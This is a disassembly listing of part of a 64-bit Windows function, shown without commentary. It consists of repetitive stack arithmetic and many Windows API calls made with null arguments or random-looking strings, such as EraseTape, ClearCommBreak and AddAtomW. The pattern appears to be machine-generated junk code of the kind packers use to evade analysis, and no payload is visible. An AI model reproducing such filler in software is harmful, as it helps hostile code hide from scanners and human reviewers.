mov dword [rsp + 0x67d4], eax
mov rax, qword [rsp + 0xce20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5e18]
shl eax, cl
mov dword [rsp + 0x5e38], eax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0xab20]
mov qword [rsp + 0xe168], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe170], rax
movsx eax, word [0x1401c70d0]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd678]
mov word [rcx], ax
mov edx, 0x1b25
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6774], eax
movzx eax, word [rsp + 0x20a0]
movzx ecx, word [rsp + 0x24b4]
xor eax, ecx
mov rcx, qword [0x1401c8b60]
mov word [rcx], ax
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd4c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
imul rax, qword [rsp + 0xcc58]
mov qword [rsp + 0x9a90], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2174]
sar eax, cl
mov word [rsp + 0xda0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rax, [0x1401c8d24]
mov qword [rsp + 0xe178], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xd0a0]
mov rcx, qword [rsp + 0xca20]
mov qword [rsp + 0xe180], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe180]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd3e0], rax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov dword [rsp + 0x6934], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x3bb]
or eax, ecx
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd7b8]
mov rax, qword [rax]
mov qword [rsp + 0xe188], rax
lea rcx, [rsp + 0x20068]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x201e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x1928]
mov word [0x1401c8e10], ax
movzx eax, word [rsp + 0x910]
mov rcx, qword [0x1401c8d98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdcc8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x38d], al
lea rcx, [rsp + 0x20728]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd828]
mov rcx, qword [rsp + 0xda78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5cfc], eax
xor r9d, r9d
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x689c], eax
mov rax, qword [rsp + 0xded0]
mov rcx, qword [rsp + 0xdad8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9640], rax
mov eax, dword [rsp + 0x690c]
mov dword [rsp + 0x6938], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6488], eax
movsx eax, byte [rsp + 0x23a]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3ce], al
mov rax, qword [rsp + 0xd5b0]
mov rcx, qword [0x1401c8c78]
mov qword [rsp + 0xe190], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe190]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc780], rax
lea rcx, str.Ln1k_UR8wxUv8QM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25a0], ax
mov rax, qword [rsp + 0xd678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce88]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x165c], ax
mov r9d, 2
lea r8, [rsp + 0xd330]
mov rdx, qword [rsp + 0xd160]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6530], eax
movzx eax, word [rsp + 0x1624]
movzx ecx, word [0x1401c8bd8]
and eax, ecx
mov word [0x1401c71f8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66c8], eax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x95d0]
mov qword [rsp + 0x9928], rax
mov rax, qword [rsp + 0xe160]
movzx eax, word [rax]
mov word [rsp + 0x25a4], ax
movsx eax, word [rsp + 0x1848]
movsx ecx, word [rsp + 0xda0]
xor eax, ecx
mov word [rsp + 0x21fc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x693c], eax
movzx ecx, word [rsp + 0x21b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fc0], ax
mov rcx, qword [rsp + 0xcff0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc118]
movzx ecx, al
mov rax, qword [rsp + 0xa530]
shl rax, cl
mov qword [rsp + 0x9a90], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65fc], eax
lea rax, [rsp + 0xb7f8]
mov qword [rsp + 0xe198], rax
mov rax, qword [0x1401c8a40]
mov rcx, qword [rsp + 0xcd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc6d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3ce]
mov byte [rsp + 0x3f1], al
lea rcx, [rsp + 0x207e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fe0]
sar eax, cl
mov word [rsp + 0x2278], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xe140]
mov rax, qword [rax]
mov rcx, qword [0x1401c8aa0]
mov qword [rsp + 0xe1a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1a0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401c8d80], rax
lea rcx, [rsp + 0x1d660]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x688c], eax
lea rcx, [rsp + 0x20548]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6940], eax
movzx ecx, word [rsp + 0x20d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24bc], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6944], eax
lea rax, [rsp + 0x597c]
mov qword [rsp + 0xe1a8], rax
lea rcx, [0x1401adc24]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20cc], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
or eax, ecx
mov rcx, qword [rsp + 0xde28]
mov byte [rcx], al
movzx ecx, word [rsp + 0x21bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fcc], ax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa10]
sub eax, ecx
mov word [rsp + 0x20bc], ax
movzx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0xcf50]
mov rcx, qword [rsp + 0xc8e0]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xd080], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6948], eax
lea rdx, [rsp + 0x26488]
mov rcx, qword [rsp + 0xdb90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6550], eax
mov rax, qword [rsp + 0xdeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x3f2], al
mov eax, dword [rsp + 0x6798]
mov ecx, dword [rsp + 0x6610]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6724], eax
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd098], rax
mov rax, qword [0x1401c8b18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbe4]
add eax, ecx
mov word [rsp + 0x1974], ax
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
mov word [0x1401c8e14], ax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xd1d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb788], rax
mov rax, qword [rsp + 0xe140]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64c8], eax
mov rax, qword [rsp + 0xdd68]
mov qword [rsp + 0xe1b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xd9c0]
mov rcx, qword [rsp + 0xdc58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67d0], eax
movsx eax, word [rsp + 0x236c]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2040], ax
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe1b8], rax
mov rax, qword [rsp + 0xdca8]
mov rcx, qword [rsp + 0xcea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbfa8], rax
movsx eax, byte [0x1401c8a13]
mov rcx, qword [rsp + 0xd100]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3e5], al
mov rax, qword [rsp + 0xdcc8]
movzx eax, byte [rax]
mov byte [rsp + 0x3f3], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65b8], eax
mov eax, dword [rsp + 0x62d4]
mov rcx, qword [rsp + 0xc728]
mov qword [rsp + 0xe1c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x677c], eax
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2168]
sub eax, ecx
mov word [0x1401c8a28], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xcef8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa0], ax
movzx ecx, word [rsp + 0x203c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23b4], ax
movzx ecx, word [rsp + 0x2300]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25a8], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x675c], eax
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov word [rsp + 0x25ac], ax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcda0]
mov qword [rsp + 0xe1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1c8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xd1d8]
mov qword [rcx], rax
lea rax, [rsp + 0xc530]
mov qword [rsp + 0xe1d0], rax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x143]
or eax, ecx
mov byte [rsp + 0x3c2], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xd6e8]
mov eax, dword [rax]
mov rcx, qword [0x1401c8d60]
mov qword [rsp + 0xe1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5a1c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xd630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2290]
sub eax, ecx
mov rcx, qword [rsp + 0xc638]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe1e0], rax
movzx eax, word [0x1401c71e8]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f0c], ax
lea rax, [rsp + 0xdad8]
mov qword [0x1401c8e18], rax
movzx eax, word [rsp + 0x202c]
mov word [rsp + 0x25b0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65d8], eax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [0x1401c8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xab38], rax
lea rax, [rsp + 0xe188]
mov qword [rsp + 0xe1e8], rax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b4], eax
mov rax, qword [rsp + 0xc8c0]
mov ecx, dword [rsp + 0x6634]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa930], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x694c], eax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc848]
mov qword [rsp + 0xe1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5dc8], eax
movzx eax, byte [rsp + 0x332]
movzx ecx, byte [rsp + 0x20e]
sar eax, cl
mov byte [rsp + 0x3c4], al
lea rcx, [rsp + 0x20428]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [0x1401c8a27]
mov byte [rsp + 0x3f4], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov r9d, 0x1c26
xor r8d, r8d
lea rdx, [rsp + 0xcc10]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6950], eax
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2000]
sub eax, ecx
mov rcx, qword [0x1401c8b50]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
movsx ecx, word [0x1401c8d6c]
add eax, ecx
mov word [rsp + 0x22d8], ax
lea rdx, [rsp + 0x26610]
mov rcx, qword [rsp + 0xd1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6860], eax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd760]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2350], ax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov word [rsp + 0x25b4], ax
mov rax, qword [rsp + 0xd498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde00]
mov qword [rsp + 0xe1f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xad30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xda08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd18]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x63], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcfa8]
mov qword [rsp + 0xe200], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe200]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6730], eax
movsx eax, word [0x1401c8cf8]
movsx ecx, word [rsp + 0x19d0]
add eax, ecx
mov word [rsp + 0x24c0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x25b8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe208], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rcx, qword [rsp + 0xce50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd890]
mov qword [0x1401c8e20], rax
mov rax, qword [0x1401c7140]
mov rcx, qword [rsp + 0xb0d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf58], rax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c70], rax
lea rcx, [rsp + 0x1d688]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0xcc88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0xc980]
movzx eax, word [rax]
mov word [rsp + 0x25bc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe210], rax
mov rax, qword [rsp + 0xcf48]
mov rcx, qword [rsp + 0xda28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xdc78]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401c8a16]
shl eax, cl
mov byte [rsp + 0x3b7], al
mov rax, qword [rsp + 0xde38]
mov eax, dword [rax]
mov dword [rsp + 0x6954], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xd5b0]
movzx ecx, al
mov rax, qword [rsp + 0xdc60]
shr rax, cl
mov qword [rsp + 0xbe40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe218], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx ecx, word [rsp + 0x22d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2298], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
lea rcx, str.P6UATJr_Pw_FzQbEjhDq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25c0], ax
lea rdx, [rsp + 0x26338]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x67e8], eax
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401c8a13], al
movsx eax, word [rsp + 0x1e50]
movsx ecx, word [rsp + 0x24c0]
add eax, ecx
mov word [rsp + 0x1a28], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xad4], ax
mov r9d, 2
lea r8, [rsp + 0xd5a8]
mov rdx, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xde70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6408], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8c10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x858], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64e0], eax
mov r9d, 0x15c4
xor r8d, r8d
lea rdx, [rsp + 0xe148]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x668c], eax
mov rax, qword [rsp + 0xd230]
mov rax, qword [rax]
mov qword [rsp + 0xe220], rax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xe228], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe228]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd718], rax
lea rcx, str.D14_ITjCiyWg_F8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25c4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6868], eax
mov eax, dword [rsp + 0x5b84]
movzx ecx, al
mov eax, dword [0x1401c71d4]
shl eax, cl
mov dword [rsp + 0x617c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd260], rax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3ec]
or eax, ecx
mov byte [rsp + 0x165], al
movsx eax, word [rsp + 0x22fc]
movsx ecx, word [rsp + 0x1b38]
add eax, ecx
mov word [rsp + 0x2434], ax
movzx eax, word [rsp + 0x195c]
mov rcx, qword [rsp + 0xd508]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c7074], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xc868]
mov qword [rsp + 0xe230], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8c10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2188], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx eax, byte [rsp + 0x3c4]
mov rcx, qword [rsp + 0xdf50]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2e3], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [rsp + 0x5738]
mov rcx, qword [rsp + 0xda78]
mov qword [rsp + 0xe238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe238]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x57b4], eax
mov rax, qword [rsp + 0xc9c8]
mov qword [rsp + 0xe240], rax
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6664]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x690c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd460], rax
mov rax, qword [rsp + 0xe110]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
mov rax, qword [rsp + 0xc638]
movzx eax, word [rax]
mov word [rsp + 0x25c8], ax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6958], eax
mov rax, qword [rsp + 0xcef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c71fc], ax
mov rax, qword [rsp + 0xe060]
mov rcx, qword [0x1401c8dd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd968], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
lea rcx, [rsp + 0x20518]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa520], rax
movsx eax, word [rsp + 0x2104]
movsx ecx, word [0x1401c8db0]
add eax, ecx
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0xce38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd600]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1884], ax
mov rcx, qword [rsp + 0xd150]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xcc40]
mov qword [rsp + 0xe248], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe250], rax
mov rax, qword [rsp + 0xd608]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d8]
sar eax, cl
mov byte [rsp + 0x3ce], al
mov rax, qword [rsp + 0xde38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcc68]
mov qword [rsp + 0xe258], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe258]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5dcc], eax
mov rax, qword [rsp + 0xdb50]
mov rcx, qword [rsp + 0x9c98]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7b0], rax
movzx eax, word [0x1401c71c4]
mov word [0x1401c8e28], ax
movzx eax, word [rsp + 0x1e2c]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2380], ax
mov edx, 0x16ef
